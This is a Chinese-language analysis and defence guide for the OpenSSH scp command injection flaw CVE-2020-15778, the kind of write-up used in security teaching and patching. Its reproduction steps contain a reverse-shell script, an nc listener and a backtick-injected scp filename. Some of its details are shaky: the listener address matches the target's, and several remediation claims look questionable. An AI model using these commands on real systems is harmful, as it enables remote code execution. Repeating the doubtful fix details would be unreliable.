OpenSSH 命令注入漏洞(CVE-2020-15778)
字数 1462 2025-08-15 21:33:02

OpenSSH 命令注入漏洞(CVE-2020-15778) 深度分析与防御指南

0x00 漏洞概述

CVE编号: CVE-2020-15778
发布时间: 2020-07-24
危害等级: 高危
影响版本: OpenSSH <= 8.3p1

漏洞描述

OpenSSH 8.3p1及之前版本中的scp实现存在操作系统命令注入漏洞。该漏洞存在于scp.c文件中,即使在禁用SSH登录的情况下,只要允许使用SCP传输文件且远程服务器允许使用反引号(`),攻击者就可以利用此漏洞执行任意命令。

漏洞原理

当使用SCP复制文件到远程服务器时,如果文件名中包含反引号(`)包裹的命令,这些命令会在远程服务器上执行。这是因为SCP在远程文件名处理时未正确过滤特殊字符,导致命令注入。

利用条件

  1. 知道目标的SSH密码
  2. 目标系统允许SCP文件传输
  3. 远程服务器shell环境支持反引号命令执行

0x01 漏洞复现环境搭建

靶机环境

  • 操作系统: CentOS 7
  • OpenSSH版本: <= 8.3p1

渗透机环境

  • 操作系统: Kali Linux 2019

环境准备步骤

  1. 验证SSH版本:

    ssh -V
    

    确认版本为受影响版本(<= 8.3p1)

  2. 安装iptables (若未安装):

    yum install -y iptables
    yum install iptables-services
    
  3. 禁用firewalld (CentOS 7默认):

    systemctl stop firewalld
    systemctl mask firewalld
    
  4. 配置iptables规则:

    service iptables start
    iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
    service iptables save
    iptables -L -n --line-number
    

    此配置允许SCP但禁止SSH登录

0x02 漏洞复现步骤

  1. 创建恶意脚本
    在Kali上创建1.sh文件,内容为反弹shell命令:

    bash -i >& /dev/tcp/192.168.207.156/4444 0>&1
    
  2. 上传恶意脚本
    使用SCP将文件上传到靶机的/tmp目录:

    scp 1.sh root@192.168.207.156:/tmp/
    
  3. 设置监听
    在Kali上开启监听:

    nc -lvnp 4444
    
  4. 执行漏洞利用
    使用SCP执行远程命令:

    scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'
    

    输入正确密码后,将获得反弹shell

0x03 漏洞分析

技术细节

  1. SCP命令处理流程:

    • SCP在传输文件时会在远程服务器上调用scp命令
    • 远程文件名参数未经过滤直接传递给shell
    • 反引号中的命令会被shell解析执行
  2. 绕过限制:

    • 即使禁用SSH登录,SCP仍可工作
    • 不依赖任何特权提升机制
    • 直接以认证用户的权限执行命令

影响范围

  • 所有运行OpenSSH <= 8.3p1的系统
  • 特别是那些仅开放SCP不开放SSH的系统
  • 使用SCP进行自动化文件传输的环境

0x04 防御措施

临时缓解方案

  1. 密码安全:

    • 确保SSH密码强度足够
    • 定期更换密码
    • 禁用不必要的账户
  2. 限制SCP使用:

    # 在sshd_config中添加
    ForceCommand /usr/bin/scp
    
  3. 禁用反引号:

    • 修改默认shell配置限制命令执行

永久解决方案

  1. 升级OpenSSH:

    yum update openssh
    

    或从源码编译安装最新版本

  2. 使用替代方案:

    • 考虑使用rsync替代SCP
    • 使用SFTP替代SCP
  3. 网络层防护:

    • 配置网络防火墙限制SCP访问
    • 实施IP白名单

0x05 检测方法

  1. 版本检测:

    ssh -V
    

    检查版本是否<=8.3p1

  2. 漏洞扫描:

    • 使用Nessus、OpenVAS等漏洞扫描工具
    • 专用漏洞检测脚本
  3. 日志分析:

    • 检查SCP日志中的异常文件名
    • 监控含有反引号的SCP命令

0x06 厂商补丁

OpenSSH官方在后续版本中修复了此漏洞,建议所有用户升级至最新版本。补丁主要修改了scp.c文件中的文件名处理逻辑,增加了对特殊字符的过滤。

0x07 总结

CVE-2020-15778是一个高危的OpenSSH命令注入漏洞,允许攻击者在特定条件下通过SCP执行任意命令。虽然利用需要知道SSH密码,但在自动化环境中风险仍然很高。管理员应立即评估系统风险,采取适当的防御措施,优先升级OpenSSH到最新版本。

OpenSSH 命令注入漏洞(CVE-2020-15778) 深度分析与防御指南 0x00 漏洞概述 CVE编号 : CVE-2020-15778 发布时间 : 2020-07-24 危害等级 : 高危 影响版本 : OpenSSH <= 8.3p1 漏洞描述 OpenSSH 8.3p1及之前版本中的scp实现存在操作系统命令注入漏洞。该漏洞存在于scp.c文件中,即使在禁用SSH登录的情况下,只要允许使用SCP传输文件且远程服务器允许使用反引号( ` ),攻击者就可以利用此漏洞执行任意命令。 漏洞原理 当使用SCP复制文件到远程服务器时,如果文件名中包含反引号( ` )包裹的命令,这些命令会在远程服务器上执行。这是因为SCP在远程文件名处理时未正确过滤特殊字符,导致命令注入。 利用条件 知道目标的SSH密码 目标系统允许SCP文件传输 远程服务器shell环境支持反引号命令执行 0x01 漏洞复现环境搭建 靶机环境 操作系统: CentOS 7 OpenSSH版本: <= 8.3p1 渗透机环境 操作系统: Kali Linux 2019 环境准备步骤 验证SSH版本 : 确认版本为受影响版本( <= 8.3p1) 安装iptables (若未安装): 禁用firewalld (CentOS 7默认): 配置iptables规则 : 此配置允许SCP但禁止SSH登录 0x02 漏洞复现步骤 创建恶意脚本 在Kali上创建1.sh文件,内容为反弹shell命令: 上传恶意脚本 使用SCP将文件上传到靶机的/tmp目录: 设置监听 在Kali上开启监听: 执行漏洞利用 使用SCP执行远程命令: 输入正确密码后,将获得反弹shell 0x03 漏洞分析 技术细节 SCP命令处理流程 : SCP在传输文件时会在远程服务器上调用scp命令 远程文件名参数未经过滤直接传递给shell 反引号中的命令会被shell解析执行 绕过限制 : 即使禁用SSH登录,SCP仍可工作 不依赖任何特权提升机制 直接以认证用户的权限执行命令 影响范围 所有运行OpenSSH <= 8.3p1的系统 特别是那些仅开放SCP不开放SSH的系统 使用SCP进行自动化文件传输的环境 0x04 防御措施 临时缓解方案 密码安全 : 确保SSH密码强度足够 定期更换密码 禁用不必要的账户 限制SCP使用 : 禁用反引号 : 修改默认shell配置限制命令执行 永久解决方案 升级OpenSSH : 或从源码编译安装最新版本 使用替代方案 : 考虑使用rsync替代SCP 使用SFTP替代SCP 网络层防护 : 配置网络防火墙限制SCP访问 实施IP白名单 0x05 检测方法 版本检测 : 检查版本是否 <=8.3p1 漏洞扫描 : 使用Nessus、OpenVAS等漏洞扫描工具 专用漏洞检测脚本 日志分析 : 检查SCP日志中的异常文件名 监控含有反引号的SCP命令 0x06 厂商补丁 OpenSSH官方在后续版本中修复了此漏洞,建议所有用户升级至最新版本。补丁主要修改了scp.c文件中的文件名处理逻辑,增加了对特殊字符的过滤。 0x07 总结 CVE-2020-15778是一个高危的OpenSSH命令注入漏洞,允许攻击者在特定条件下通过SCP执行任意命令。虽然利用需要知道SSH密码,但在自动化环境中风险仍然很高。管理员应立即评估系统风险,采取适当的防御措施,优先升级OpenSSH到最新版本。